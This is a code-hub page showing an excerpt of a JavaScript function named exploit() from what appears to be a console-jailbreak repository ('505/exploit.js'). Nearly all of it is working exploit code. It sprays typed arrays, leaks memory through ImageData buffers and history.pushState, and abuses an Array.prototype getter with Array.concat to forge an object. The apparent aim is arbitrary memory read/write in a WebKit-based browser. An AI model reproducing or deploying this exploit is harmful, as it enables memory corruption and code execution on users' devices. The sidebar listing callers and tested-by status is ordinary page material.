MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / exploit

Function exploit

505/exploit.js:1033–1174  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

1031}
1032function exploit() {
1033 var instancespr = [];
1034 for (var i = 0; i < 0x1000; i++) {
1035 instancespr[i] = new Uint32Array(1);
1036 instancespr[i][makeid()] = 50057;
1037 }
1038 var tgt = {
1039 a: 0,
1040 b: 0,
1041 c: 0,
1042 d: 0
1043 };
1044 var y = new ImageData(1, 0x4000);
1045 postMessage("", "*", [y.data.buffer]);
1046 var props = {};
1047 for (var i = 0; i < (0x4000 / 2); ) {
1048 props[i++] = {
1049 value: 0x42424242
1050 };
1051 props[i++] = {
1052 value: tgt
1053 };
1054 }
1055 var foundLeak = undefined;
1056 var foundIndex = 0;
1057 var maxCount = 0x100;
1058 while (foundLeak == undefined && maxCount > 0) {
1059 maxCount--;
1060 history.pushState(y, "");
1061 Object.defineProperties({}, props);
1062 var leak = new Uint32Array(history.state.data.buffer);
1063 for (var i = 0; i < leak.length - 6; i++) {
1064 if (leak[i] == 0x42424242 && leak[i + 0x1] == 0xFFFF0000 && leak[i + 0x2] == 0x00000000 && leak[i + 0x3] == 0x00000000 && leak[i + 0x4] == 0x00000000 && leak[i + 0x5] == 0x00000000 && leak[i + 0x6] == 0x0000000E && leak[i + 0x7] == 0x00000000 && leak[i + 0xA] == 0x00000000 && leak[i + 0xB] == 0x00000000 && leak[i + 0xC] == 0x00000000 && leak[i + 0xD] == 0x00000000 && leak[i + 0xE] == 0x0000000E && leak[i + 0xF] == 0x00000000) {
1065 foundIndex = i;
1066 foundLeak = leak;
1067 break;
1068 }
1069 }
1070 }
1071 if (!foundLeak) {
1072 failed = true;
1073 fail("Failed to find leak!");
1074 }
1075 var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
1076 var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
1077 try {
1078 Array.prototype.__defineGetter__(100, () => 1);
1079 var f = document.body.appendChild(document.createElement('iframe'));
1080 var a = new f.contentWindow.Array(13.37, 13.37);
1081 var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);
1082 var master = new Uint32Array(0x1000);
1083 var slave = new Uint32Array(0x1000);
1084 var leakval_u32 = new Uint32Array(0x1000);
1085 var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];
1086 tgt.a = u2d(0x00000800, 0x01602300);
1087 tgt.b = 0;
1088 tgt.c = leakval_helper;
1089 tgt.d = 0x1337;
1090 var c = Array.prototype.concat.call(a, b);

Callers

nothing calls this directly

Calls 6

makeidFunction · 0.70
failFunction · 0.70
u2dFunction · 0.70
callMethod · 0.45
read8Method · 0.45
write8Method · 0.45

Tested by

no test coverage detected